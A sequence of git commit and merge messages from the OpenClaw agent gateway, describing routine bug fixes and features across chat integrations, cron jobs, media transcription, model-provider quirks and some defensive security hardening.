The deliver function is inside the createReplyDispatcherWithTyping call,
so it should be indented at 2 levels (8 spaces), not 3 levels (12 spaces).
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* test(feishu): cover block payload suppression in reply dispatcher
---------
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
Fixes duplicate message processing in Slack DMs where both message.im
and app_mention events fire for the same message, causing:
- 2x token/credit usage per message
- 2x API calls
- Duplicate agent invocations with same runId
Root cause: app_mention events should only fire for channel mentions,
not DMs. Added channel_type check to skip im/mpim in app_mention handler.
Evidence of bug (from production logs):
- Same runId firing twice within 200-300ms
- Example: runId 13cd482c... at 20:32:42.699Z and 20:32:42.954Z
After fix:
- One message = one runId = one processing run
- 50% reduction in duplicate processing
Slack's Events API includes the parent message's files array in every
thread reply event payload. This caused OpenClaw to re-download and
attach the parent's files to every text-only thread reply, creating
ghost media attachments.
The fix filters out files that belong to the thread starter by comparing
file IDs. The resolveSlackThreadStarter result is already cached, so
this adds no extra API calls.
Closes#32203
The session-store cache used only mtime for invalidation. In fast CI
runs (especially under bun), test writes to the session store can
complete within the same filesystem mtime granularity (~1s on HFS+/ext4),
so the cache returns stale data. This caused non-deterministic failures
in model precedence tests where a session override written to disk was
not observed by the next loadSessionStore() call.
Fix: add file size as a secondary cache invalidation signal. The cache
now checks both mtimeMs and sizeBytes — if either differs from the
cached values, it reloads from disk.
Changes:
- cache-utils.ts: add getFileSizeBytes() helper
- sessions/store.ts: extend SessionStoreCacheEntry with sizeBytes field,
check size in cache-hit path, populate size on cache writes
- sessions.cache.test.ts: add regression test for same-mtime rewrite
When echoTranscript is enabled in tools.media.audio config, the
transcription text is sent back to the originating chat immediately
after successful audio transcription — before the agent processes it.
This lets users verify what was heard from their voice note.
Changes:
- config/types.tools.ts: add echoTranscript (bool) and echoFormat
(string template) to MediaUnderstandingConfig
- media-understanding/apply.ts: sendTranscriptEcho() helper that
resolves channel/to from ctx, guards on isDeliverableMessageChannel,
and calls deliverOutboundPayloads best-effort
- config/schema.help.ts: help text for both new fields
- config/schema.labels.ts: labels for both new fields
- media-understanding/apply.echo-transcript.test.ts: 10 vitest cases
covering disabled/enabled/custom-format/no-audio/failed-transcription/
non-deliverable-channel/missing-from/OriginatingTo/delivery-failure
Default echoFormat: '📝 "{transcript}"'
Closes#32102
Expose audio transcription through the PluginRuntime so external
plugins (e.g. marmot) can use openclaw's media-understanding provider
framework without importing unexported internal modules.
The new transcribeAudioFile() wraps runCapability({capability: "audio"})
and reads provider/model/apiKey from tools.media.audio in the config,
matching the pattern used by the Discord VC implementation.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Increase test audio file sizes to meet MIN_AUDIO_FILE_BYTES (1024) threshold
introduced by the skip-empty-audio feature. Fix localPathRoots in skip-tiny-audio
tests so temp files pass path validation. Remove undefined loadApply() call
in apply.test.ts.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Add a minimum file size guard (MIN_AUDIO_FILE_BYTES = 1024) before
sending audio to transcription APIs. Files below this threshold are
almost certainly empty or corrupt and would cause unhelpful errors
from Whisper/Deepgram/Groq providers.
Changes:
- Add 'tooSmall' skip reason to MediaUnderstandingSkipError
- Add MIN_AUDIO_FILE_BYTES constant (1024 bytes) to defaults
- Guard both provider and CLI audio paths in runner.ts
- Add comprehensive tests for tiny, empty, and valid audio files
- Update existing test fixtures to use audio files above threshold
runProviderEntry now calls resolveProxyFetchFromEnv() and passes the
result as fetchFn to transcribeAudio/describeVideo, so media provider
API calls respect HTTPS_PROXY/HTTP_PROXY behind corporate proxies.
Move makeProxyFetch to src/infra/net/proxy-fetch.ts and add
resolveProxyFetchFromEnv which reads standard proxy env vars
(HTTPS_PROXY, HTTP_PROXY, and lowercase variants) and returns a
proxy-aware fetch via undici's EnvHttpProxyAgent. Telegram re-exports
from the shared location to avoid duplication.
The openai provider implements transcribeAudio via
transcribeOpenAiCompatibleAudio (Whisper API), but its capabilities
array only declared ["image"]. This caused the media-understanding
runner to skip the openai provider when processing inbound audio
messages, resulting in raw audio files being passed to agents
instead of transcribed text.
Fix: Add "audio" to the capabilities array so the runner correctly
selects the openai provider for audio transcription.
Co-authored-by: Cursor <cursoragent@cursor.com>
Thread history and thread starter were being fetched and included on
every message in a Slack thread, causing unnecessary token bloat. The
session transcript already contains the full conversation history, so
re-fetching and re-injecting thread history on each turn is redundant.
Now thread history is only fetched for new thread sessions
(!threadSessionPreviousTimestamp). Existing sessions rely on their
transcript for context.
Fixes#32121
When `allowSyntheticToolResults` is false (OpenAI, OpenRouter, and most
third-party providers), the guard never cleared its pending tool call map
when a user message arrived during in-flight tool execution. This left
orphaned tool_use blocks in the transcript with no matching tool_result,
causing the provider API to reject all subsequent requests with 400 errors
and permanently breaking the session.
The fix removes the `allowSyntheticToolResults` gate around the flush
calls. `flushPendingToolResults()` already handles both cases correctly:
it only inserts synthetic results when allowed, and always clears the
pending map. The gate was preventing the map from being cleared at all
for providers that disable synthetic results.
Fixes#32098
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The health monitor was created once at startup and never touched by
applyHotReload(), so changing channelHealthCheckMinutes only took
effect after a full gateway restart.
Wire up a "restart-health-monitor" reload action so hot-reload can
stop the old monitor and (re)create one with the updated interval —
or disable it entirely when set to 0.
Closes#32105
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The `fromMe` flag from Baileys' WAMessage.key was only used for
access-control filtering and then discarded. This meant agents
could not distinguish owner-sent messages from contact messages
in DM conversations (everything appeared as from the contact).
Add `fromMe` to `WebInboundMessage`, store it during message
construction, and thread it through `buildInboundLine` →
`formatInboundEnvelope` so DM transcripts prefix owner messages
with `(self):`.
Closes#32061
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Address Greptile review: show "not a valid OpenClaw plugin" when the
npm package was found but lacks openclaw.extensions, instead of the
misleading "npm package unavailable" message.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When `openclaw plugins install diffs` downloads the unrelated npm
package `diffs@0.1.1` (which lacks `openclaw.extensions`), the install
fails without trying the bundled `@openclaw/diffs` plugin.
Two fixes:
1. Broaden the bundled-fallback trigger to also fire on
"missing openclaw.extensions" errors (not just npm 404s)
2. Match bundled plugins by pluginId in addition to npmSpec so
unscoped names like "diffs" resolve to `@openclaw/diffs`
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Fixes#27189
When an inbound message is debounced, the Bot Framework turn context is
revoked before the debouncer flushes and the reply is dispatched. Any
attempt to use the revoked context proxy throws a TypeError, causing the
reply to fail silently.
This commit fixes the issue by adding a fallback to proactive messaging
when the turn context is revoked:
- `isRevokedProxyError()`: New error utility to reliably detect when a
proxy has been revoked.
- `reply-dispatcher.ts`: `sendTypingIndicator` now catches revoked proxy
errors and falls back to sending the typing indicator via
`adapter.continueConversation`.
- `messenger.ts`: `sendMSTeamsMessages` now catches revoked proxy errors
when `replyStyle` is `thread` and falls back to proactive messaging.
This ensures that replies are delivered reliably even when the inbound
message was debounced, resolving the core issue where the bot appeared
to ignore messages.
Addresses #31699 — config .bak files persist with sensitive data.
Changes:
- Explicitly chmod 0o600 on all .bak files after creation, instead of
relying on copyFile to preserve source permissions (not guaranteed on
all platforms, e.g. Windows, NFS mounts).
- Clean up orphan .bak files that fall outside the managed 5-deep
rotation ring (e.g. PID-stamped leftovers from interrupted writes,
manual backups like .bak.before-marketing).
- Add tests for permission hardening and orphan cleanup.
The backup ring itself is preserved — it's a valuable recovery mechanism.
This PR hardens the security surface by ensuring backup files are
always owner-only and stale copies don't accumulate indefinitely.
xAI rejects minLength, maxLength, minItems, maxItems, minContains, and
maxContains in tool schemas with a 502 error instead of ignoring them.
This causes all requests to fail when any tool definition includes these
validation-constraint keywords (e.g. sessions_spawn uses maxLength and
maxItems on its attachment fields).
Add stripXaiUnsupportedKeywords() in schema/clean-for-xai.ts, mirroring
the existing cleanSchemaForGemini() pattern. Apply it in normalizeToolParameters()
when the provider is xai directly, or openrouter with an x-ai/* model id.
Fixes tool calls for x-ai/grok-* models both direct and via OpenRouter.
The downloadAndSaveTelegramFile inner function only used the server-side
file path (e.g. "documents/file_42.pdf") or the Content-Disposition
header (which Telegram doesn't send) to derive the saved filename.
The original filename provided by Telegram via msg.document.file_name,
msg.audio.file_name, msg.video.file_name, and msg.animation.file_name
was never passed through, causing all inbound files to lose their
user-provided names.
Now downloadAndSaveTelegramFile accepts an optional telegramFileName
parameter that takes priority over the fetched/server-side name.
The resolveMedia call site extracts the original name from the message
and passes it through.
Closes#31768
Made-with: Cursor
Replace the single per-account messageQueue Promise chain in
DiscordMessageListener with per-channel queues. This restores parallel
processing for channel-bound agents that regressed in 2026.3.1.
Messages within the same channel remain serialized to preserve ordering,
while messages to different channels now proceed independently. Completed
queue entries are cleaned up to prevent memory accumulation.
Closes#31530
The native streaming path (chatStream) and preview final edit path
(chat.update) send raw Markdown text without converting to Slack
mrkdwn format. This causes **bold** to appear as literal asterisks
instead of rendered bold text.
Apply markdownToSlackMrkdwn() in streaming.ts (start/append/stop) and
in dispatch.ts (preview final edit via chat.update) to match the
non-streaming delivery path behavior.
Closes#31892
When enforceFinalTag is active (Google providers), stripBlockTags
correctly returns empty for text without <final> tags. However, the
handleMessageEnd fallback recovered raw text, bypassing this protection
and leaking internal reasoning (e.g. "**Applying single-bot mention
rule**NO_REPLY") to Discord.
Guard the fallback with enforceFinalTag check: if the provider is
supposed to use <final> tags and none were seen, the text is treated
as leaked reasoning and suppressed.
Also harden stripSilentToken regex to allow bold markdown (**) as
separator before NO_REPLY, matching the pattern Gemini Flash Lite
produces.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(synology-chat): prevent restart loop in startAccount
startAccount must return a Promise that stays pending while the channel
is running. The gateway wraps the return value in Promise.resolve(), and
when it resolves, the gateway thinks the channel crashed and auto-restarts
with exponential backoff (5s → 10s → 20s..., up to 10 attempts).
Replace the synchronous { stop } return with a Promise<void> that resolves
only when ctx.abortSignal fires, keeping the channel alive until shutdown.
Tested on Synology DS923+ with DSM 7.2 — single startup, no restart loop.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(synology-chat): add type guards for startAccount return value
startAccount returns `void | { stop: () => void }` — TypeScript requires
a type guard before accessing .stop on the union type. Added proper checks
in both integration and unit tests.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(synology-chat): use Readable stream in integration test for Windows compat
Replace EventEmitter + process.nextTick with Readable stream for
request body simulation. The process.nextTick approach caused the test
to hang on Windows CI (120s timeout) because events were not reliably
delivered to readBody() listeners.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: stabilize synology gateway account lifecycle (#23074) (thanks @druide67)
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
When an agent streams text and then immediately runs tool calls, the
webchat UI drops the streamed content: the "final" event arrives with
message: undefined (buffer consumed by sub-run), and the client clears
chatStream without saving it to chatMessages.
Before clearing chatStream on a "final" event, check whether the stream
buffer has content. If no finalMessage was provided but the stream is
non-empty, synthesize an assistant message from the buffered text —
mirroring the existing "aborted" handler's preservation logic.
Closes#31895
When an isolated cron agent returns HEARTBEAT_OK (nothing to announce),
the direct delivery is correctly skipped, but the fallback path in
timer.ts still enqueues the summary as a system event to the main
session. Filter out heartbeat-only summaries using isCronSystemEvent
before enqueuing, so internal ack tokens never reach user conversations.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(synology-chat): resolve Chat API user_id for reply delivery
Synology Chat outgoing webhooks use a per-integration user_id that
differs from the global Chat API user_id required by method=chatbot.
This caused reply messages to fail silently when the IDs diverged.
Changes:
- Add fetchChatUsers() and resolveChatUserId() to resolve the correct
Chat API user_id via the user_list endpoint (cached 5min)
- Use resolved user_id for all sendMessage() calls in webhook handler
and channel dispatcher
- Add Provider field to MsgContext so the agent runner correctly
identifies the message channel (was "unknown", now "synology-chat")
- Log warnings when user_list API fails or when falling back to
unresolved webhook user_id
- Add 5 tests for user_id resolution (nickname, username, case,
not-found, URL rewrite)
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(synology-chat): use Readable stream in integration test for Windows compat
Replace EventEmitter + process.nextTick with Readable stream for
request body simulation. The process.nextTick approach caused the test
to hang on Windows CI (120s timeout) because events were not reliably
delivered to readBody() listeners.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: harden synology reply user resolution and cache scope (#23709) (thanks @druide67)
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(plugins): fallback install entrypoints for legacy manifests
* Voice Call: enforce exact webhook path match
* Tests: isolate webhook path suite and reset cron auth state
* chore: keep #31930 scoped to voice webhook path fix
* fix: add changelog for exact voice webhook path match (#31930) (thanks @afurm)
* fix: handle HTTP 529 (Anthropic overloaded) in failover error classification
Classify Anthropic's 529 status code as "rate_limit" so model fallback
triggers reliably without depending on fragile message-based detection.
Closes#28502
* fix: add changelog for HTTP 529 failover classification (#31854) (thanks @bugkill3r)
* fix(slack): guard against undefined text in includes calls during mention handling
* fix: add changelog for mentions/slack null-safe guards (#31865) (thanks @stone-jin)
* fix(memory-lancedb): pass dimensions to embedding API call
- Add dimensions parameter to Embeddings constructor
- Pass dimensions to OpenAI embeddings.create() API call
- Fixes dimension mismatch when using custom embedding models like DashScope text-embedding-v4
* fix: add regression for memory-lancedb dimensions pass-through (#32036) (thanks @scotthuang)
* fix(telegram): guard malformed native menu specs
* fix: harden plugin command registration + telegram menu guard (#31997) (thanks @liuxiaopai-ai)
* fix(gateway): restart heartbeat on model config changes
* fix: add changelog credit for heartbeat model reload (#32046) (thanks @stakeswky)
* test(process): replace no-output timer subprocess with spawn mock
* test(perf): trim repeated setup in cron memory and config suites
* test(perf): reduce per-case setup in script and git-hook tests
* fix(slack): scope debounce key by message timestamp to prevent cross-thread collisions
Top-level channel messages from the same sender shared a bare channel
debounce key, causing concurrent messages in different threads to merge
into a single reply on the wrong thread. Now the debounce key includes
the message timestamp for top-level messages, matching how the downstream
session layer already scopes by canonicalThreadId.
Extracted buildSlackDebounceKey() for testability.
Closes#31935
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: harden slack debounce key routing and ordering (#31951) (thanks @scoootscooob)
* fix(openrouter): skip reasoning.effort injection for x-ai/grok models
x-ai/grok models on OpenRouter do not support the reasoning.effort
parameter and reject payloads containing it with "Invalid arguments
passed to the model." Skip reasoning injection for these models, the
same way we already skip it for the dynamic "auto" routing model.
Closes#32039
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: add changelog credit for openrouter x-ai reasoning guard (#32054) (thanks @scoootscooob)
* fix(agents): scope volcengine-plan/byteplus-plan auth lookup to profile resolution
The configure flow stores auth credentials under `provider: "volcengine"`,
but the coding model uses `volcengine-plan` as its provider. Add a scoped
`normalizeProviderIdForAuth` function used only by `listProfilesForProvider`
so coding-plan variants resolve to their base provider for auth credential
lookup without affecting global provider routing.
Closes#31731
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(tools): honor fsPolicy.workspaceOnly in image/pdf tool localRoots
PR #28822 fixed the Write/Edit tools to respect `tools.fs.workspaceOnly`,
but the image and PDF tools still unconditionally include default local
roots (`~/.openclaw/media`, `~/.openclaw/agents`, etc.) when computing
the `localRoots` allowlist for non-sandbox mode.
When `fsPolicy.workspaceOnly` is true, restrict `localRoots` to only the
workspace directory so that files outside the workspace are rejected by
`assertLocalMediaAllowed()`.
Relates to #31716
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: add changelog credit for fsPolicy image/pdf propagation (#31882) (thanks @justinhuangcode)
* fix: skip Telegram command sync when menu is unchanged (#32017)
Hash the command list and cache it to disk per account. On restart,
compare the current hash against the cached one and skip the
deleteMyCommands + setMyCommands round-trip when nothing changed.
This prevents 429 rate-limit errors when the gateway restarts
several times in quick succession.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(telegram): scope command-sync hash cache by bot identity (#32059)
* fix: normalize coding-plan providers in auth order validation
* feat(security): Harden Docker browser container chromium flags (#23889) (#31504)
* Gateway: honor OPENCLAW_GATEWAY_URL override for remote/local calls
* Agents: fix sandbox sessionKey usage for PI embedded subagent calls
* Sandbox: tighten browser container Chromium runtime flags
* fix: add sandbox browser defaults for container hardening
* docs: expand sandbox browser default flags list
* fix: make sandbox browser flags optional and preserve gateway env auth overrides
* docs: scope PR 31504 changelog entry
* style: format gateway call override handling
* fix: dedupe sandbox browser chrome args
* fix: preserve remote tls fingerprint for env gateway override
* fix: enforce auth for env gateway URL override
* chore: document gateway override auth security expectations
* fix(delivery): strip HTML tags for plain-text messaging surfaces
Models occasionally produce HTML tags in their output. While these render
fine on web surfaces, they appear as literal text on WhatsApp, Signal,
SMS, IRC, and Telegram.
Add sanitizeForPlainText() utility that converts common inline HTML to
lightweight-markup equivalents and strips remaining tags. Applied in the
outbound delivery pipeline for non-HTML surfaces only.
Closes#31884
See also: #18558
* fix(outbound): harden plain-text HTML sanitization paths (#32034)
* fix(security): harden file installs and race-path tests
* matrix: bootstrap crypto runtime when npm scripts are skipped
* fix(matrix): keep plugin register sync while bootstrapping crypto runtime (#31989)
* perf(runtime): reduce cron persistence and logger overhead
* test(perf): use prebuilt plugin install archive fixtures
* test(perf): increase guardrail scan read concurrency
* fix(queue): restart drain when message enqueued after idle window
After a drain loop empties the queue it deletes the key from
FOLLOWUP_QUEUES. If a new message arrives at that moment
enqueueFollowupRun creates a fresh queue object with draining:false
but never starts a drain, leaving the message stranded until the
next run completes and calls finalizeWithFollowup.
Fix: persist the most recent runFollowup callback per queue key in
FOLLOWUP_RUN_CALLBACKS (drain.ts). enqueueFollowupRun now calls
kickFollowupDrainIfIdle after a successful push; if a cached
callback exists and no drain is running it calls scheduleFollowupDrain
to restart immediately. clearSessionQueues cleans up the callback
cache alongside the queue state.
* fix: avoid stale followup drain callbacks (#31902) (thanks @Lanfei)
* fix(synology-chat): read cfg from outbound context so incomingUrl resolves
* fix: require openclaw.extensions for plugin installs (#32055) (thanks @liuxiaopai-ai)
---------
Co-authored-by: Andrii Furmanets <furmanets.andriy@gmail.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
Co-authored-by: Saurabh <skmishra1991@gmail.com>
Co-authored-by: stone-jin <1520006273@qq.com>
Co-authored-by: scotthuang <scotthuang@tencent.com>
Co-authored-by: User <user@example.com>
Co-authored-by: scoootscooob <zhentongfan@gmail.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: justinhuangcode <justinhuangcode@users.noreply.github.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
Co-authored-by: AytuncYildizli <cryptosquanch@gmail.com>
Co-authored-by: bmendonca3 <bmendonca3@users.noreply.github.com>
Co-authored-by: Jealous <CooLanfei@163.com>
Co-authored-by: white-rm <zhang.xujin@xydigit.com>
After a drain loop empties the queue it deletes the key from
FOLLOWUP_QUEUES. If a new message arrives at that moment
enqueueFollowupRun creates a fresh queue object with draining:false
but never starts a drain, leaving the message stranded until the
next run completes and calls finalizeWithFollowup.
Fix: persist the most recent runFollowup callback per queue key in
FOLLOWUP_RUN_CALLBACKS (drain.ts). enqueueFollowupRun now calls
kickFollowupDrainIfIdle after a successful push; if a cached
callback exists and no drain is running it calls scheduleFollowupDrain
to restart immediately. clearSessionQueues cleans up the callback
cache alongside the queue state.
Models occasionally produce HTML tags in their output. While these render
fine on web surfaces, they appear as literal text on WhatsApp, Signal,
SMS, IRC, and Telegram.
Add sanitizeForPlainText() utility that converts common inline HTML to
lightweight-markup equivalents and strips remaining tags. Applied in the
outbound delivery pipeline for non-HTML surfaces only.
Closes#31884
See also: #18558
Hash the command list and cache it to disk per account. On restart,
compare the current hash against the cached one and skip the
deleteMyCommands + setMyCommands round-trip when nothing changed.
This prevents 429 rate-limit errors when the gateway restarts
several times in quick succession.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
PR #28822 fixed the Write/Edit tools to respect `tools.fs.workspaceOnly`,
but the image and PDF tools still unconditionally include default local
roots (`~/.openclaw/media`, `~/.openclaw/agents`, etc.) when computing
the `localRoots` allowlist for non-sandbox mode.
When `fsPolicy.workspaceOnly` is true, restrict `localRoots` to only the
workspace directory so that files outside the workspace are rejected by
`assertLocalMediaAllowed()`.
Relates to #31716
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The configure flow stores auth credentials under `provider: "volcengine"`,
but the coding model uses `volcengine-plan` as its provider. Add a scoped
`normalizeProviderIdForAuth` function used only by `listProfilesForProvider`
so coding-plan variants resolve to their base provider for auth credential
lookup without affecting global provider routing.
Closes#31731
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
x-ai/grok models on OpenRouter do not support the reasoning.effort
parameter and reject payloads containing it with "Invalid arguments
passed to the model." Skip reasoning injection for these models, the
same way we already skip it for the dynamic "auto" routing model.
Closes#32039
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Top-level channel messages from the same sender shared a bare channel
debounce key, causing concurrent messages in different threads to merge
into a single reply on the wrong thread. Now the debounce key includes
the message timestamp for top-level messages, matching how the downstream
session layer already scopes by canonicalThreadId.
Extracted buildSlackDebounceKey() for testability.
Closes#31935
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Add dimensions parameter to Embeddings constructor
- Pass dimensions to OpenAI embeddings.create() API call
- Fixes dimension mismatch when using custom embedding models like DashScope text-embedding-v4
Classify Anthropic's 529 status code as "rate_limit" so model fallback
triggers reliably without depending on fragile message-based detection.
Closes#28502
* fix(cron): move session reaper to finally block so it runs reliably
The cron session reaper was placed inside the try block of onTimer(),
after job execution and state updates. If the locked persist section
threw, the reaper was skipped — causing isolated cron run sessions to
accumulate indefinitely in sessions.json.
Move the reaper into the finally block so it always executes after a
timer tick, regardless of whether job execution succeeded. The reaper
is already self-throttled (MIN_SWEEP_INTERVAL_MS = 5 min) so calling
it more reliably has no performance impact.
Closes#31946
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: strengthen cron reaper failure-path coverage and changelog (#31996) (thanks @scoootscooob)
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(doctor): resolve false positive for local memory search when no explicit modelPath
When memorySearch.provider is 'local' (or 'auto') and no explicit
local.modelPath is configured, the runtime auto-resolves to
DEFAULT_LOCAL_MODEL (embeddinggemma-300m via HuggingFace). However,
the doctor's hasLocalEmbeddings() check only inspected the config
value and returned false when modelPath was empty, triggering a
misleading warning.
Fix: fall back to DEFAULT_LOCAL_MODEL in hasLocalEmbeddings(), matching
the runtime behavior in createLocalEmbeddingProvider().
Closes#31998
* fix: scope DEFAULT_LOCAL_MODEL fallback to explicit provider:local only
Address review feedback: canAutoSelectLocal() in the runtime skips
local for empty/hf: model paths in auto mode. The DEFAULT_LOCAL_MODEL
fallback should only apply when provider is explicitly 'local', not
when provider is 'auto' — otherwise users with no local file and no
API keys would get a clean doctor report but no working embeddings.
Add useDefaultFallback parameter to hasLocalEmbeddings() to
distinguish the two code paths.
* fix: preserve gateway probe warning for local provider with default model
When hasLocalEmbeddings returns true via DEFAULT_LOCAL_MODEL fallback,
also check the gateway memory probe if available. If the probe reports
not-ready (e.g. node-llama-cpp missing or model download failed),
emit a warning instead of silently reporting healthy.
Addresses review feedback about bypassing probe-based validation.
* fix: add changelog attribution for doctor local fallback fix (#32014) (thanks @adhishthite)
---------
Co-authored-by: Adhish <adhishthite@Adhishs-MacBook-Pro.local>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
The config form marks models.providers as unsupported because
SecretInputSchema creates a oneOf union that the form analyzer
cannot handle. Add detection for secret-ref union variants and
normalize them to plain string inputs for form display.
Closes#31490
When account.token is undefined (e.g. missing botToken config),
calling .trim() directly throws "Cannot read properties of undefined".
Use nullish coalescing to fall back to empty string before trimming.
Closes#31944
* fix(slack): remove message.channels/message.groups handlers that crash Bolt 4.6
Bolt 4.6 rejects app.event() calls with event names starting with
"message." (e.g. "message.channels", "message.groups"), throwing
AppInitializationError on startup. These handlers were added in #31701
based on the incorrect assumption that Slack dispatches typed event
names to Bolt. In reality, Slack always delivers events with
type:"message" regardless of the Event Subscription name; the
channel_type field distinguishes the source.
The generic app.event("message") handler already receives all channel,
group, IM, and MPIM messages. The additional typed handlers were
unreachable even if Bolt allowed them, since no event payload ever
carries type:"message.channels".
This preserves the handleIncomingMessageEvent refactor from #31701
(extracting the handler into a named function) while removing only
the broken registrations.
Fixes the Slack provider crash loop affecting all accounts on
@slack/bolt >= 4.6.0.
Closes#31674 (original issue was not caused by missing handlers)
* fix: document Slack Bolt 4.6 startup handler fix (#32033) (thanks @mahopan)
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* fix(gateway): move plugin HTTP routes before Control UI SPA catch-all
The Control UI handler (`handleControlUiHttpRequest`) acts as an SPA
catch-all that matches every path, returning HTML for GET requests and
405 for other methods. Because it ran before `handlePluginRequest` in
the request chain, any plugin HTTP route that did not live under
`/plugins` or `/api` was unreachable — shadowed by the catch-all.
Reorder the handlers so plugin routes are evaluated first. Core
built-in routes (hooks, tools, Slack, Canvas, etc.) still take
precedence because they are checked even earlier in the chain.
Unmatched plugin paths continue to fall through to Control UI as before.
Closes#31766
* fix: add changelog for plugin route precedence landing (#31885) (thanks @Sid-Qin)
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
- Change margin from -12px -16px -32px to 0 -16px -32px
- Preserves zero top offset required for onboarding mode
- Prevents clipping of top edge/actions area when padding-top: 0
- Add margin: 0 for mobile viewports (<=600px, <=400px) to prevent clipping
- Add overflow: hidden fallback for older browsers (Safari <16, Firefox <81)
- Fixes mobile regression where negative margins over-cancel padding
Addresses issue where save button was clipped on mobile due to
hard-coded desktop negative margins not accounting for mobile's
smaller content padding (4px 4px 16px).
The config-layout used a uniform margin: -16px that did not match the
parent .content padding (12px 16px 32px), causing the right edge of the
actions bar—including the Save button—to extend into the overflow-hidden
region on systems with non-overlay scrollbars (e.g. Ubuntu/GTK).
Changes:
- Match negative margin to actual .content padding (-12px -16px -32px).
- Use overflow: clip instead of overflow: hidden on .config-main so it
does not create a scroll container that shifts the stacking context.
- Add flex-shrink: 0 and position: relative on .config-actions to
guarantee the actions bar is never collapsed or layered behind the
scrollable content area.
Closes#31658
* fix(cron): pass job.delivery.accountId through to delivery target resolution
* fix(cron): normalize topic-qualified target.to in messaging tool suppress check
When a cron job targets a Telegram forum topic (e.g. delivery.to =
"-1003597428309:topic:462"), delivery.to is stripped to the chatId
only by resolveOutboundTarget. However, the agent's message tool may
pass the full topic-qualified address as its target, causing
matchesMessagingToolDeliveryTarget to fail the equality check and not
suppress the tool send.
Strip the :topic:NNN suffix from target.to before comparing so the
suppress check works correctly for topic-bound cron deliveries.
Without this, the agent's message tool fires separately using the
announce session's accountId (often "default"), hitting 403 when
default bot is not in the multi-account target group.
* fix(cron): remove duplicate accountId keys after rebase
---------
Co-authored-by: jaxpkm <jaxpkm@jaxpkmdeMac-mini.local>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
The Control UI handler checked HTTP method before path routing, causing
all POST requests (including plugin webhook endpoints like /bluebubbles-webhook)
to receive 405 Method Not Allowed. Move the method check after path-based
exclusions so non-GET/HEAD requests reach plugin HTTP handlers.
Closes#31344
Made-with: Cursor
Implements a strict format validation for the agentId parameter in
sessions_spawn to fully resolve the ghost workspace creation bug reported
in #31311.
This fix introduces a regex format gate at the entry point to
immediately reject malformed agentId strings. This prevents error
messages (e.g., 'Agent not found: xyz') or path traversals from being
mangled by normalizeAgentId into seemingly valid IDs (e.g.,
'agent-not-found--xyz'), which was the root cause of the bug.
The validation is placed before normalization and does not interfere
with existing workflows, including delegating to agents that are
allowlisted but not globally configured.
New, non-redundant tests are added to
sessions-spawn.allowlist.test.ts to cover format validation and
ensure no regressions in allowlist behavior.
Fixes#31311
* fix(logging): log timestamps use local time instead of UTC
Problem: Log timestamps used UTC, but docs say they should use host local timezone
* test(logging): add test for logger timestamp format
Verify logger uses local time (not UTC) in file logs
* changelog: note logger timestamp local-time fix
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* feat(cron): add failure destination support with webhook mode and bestEffort handling
Extends PR #24789 failure alerts with features from PR #29145:
- Add webhook delivery mode for failure alerts (mode: 'webhook')
- Add accountId support for multi-account channel configurations
- Add bestEffort handling to skip alerts when job has bestEffort=true
- Add separate failureDestination config (global + per-job in delivery)
- Add duplicate prevention (prevents sending to same as primary delivery)
- Add CLI flags: --failure-alert-mode, --failure-alert-account-id
- Add UI fields for new options in web cron editor
* fix(cron): merge failureAlert mode/accountId and preserve failureDestination on updates
- Fix mergeCronFailureAlert to merge mode and accountId fields
- Fix mergeCronDelivery to preserve failureDestination on updates
- Fix isSameDeliveryTarget to use 'announce' as default instead of 'none'
to properly detect duplicates when delivery.mode is undefined
* fix(cron): validate webhook mode requires URL in resolveFailureDestination
When mode is 'webhook' but no 'to' URL is provided, return null
instead of creating an invalid plan that silently fails later.
* fix(cron): fail closed on webhook mode without URL and make failureDestination fields clearable
- sendCronFailureAlert: fail closed when mode is webhook but URL is missing
- mergeCronDelivery: use per-key presence checks so callers can clear
nested failureDestination fields via cron.update
Note: protocol:check shows missing internalEvents in Swift models - this is
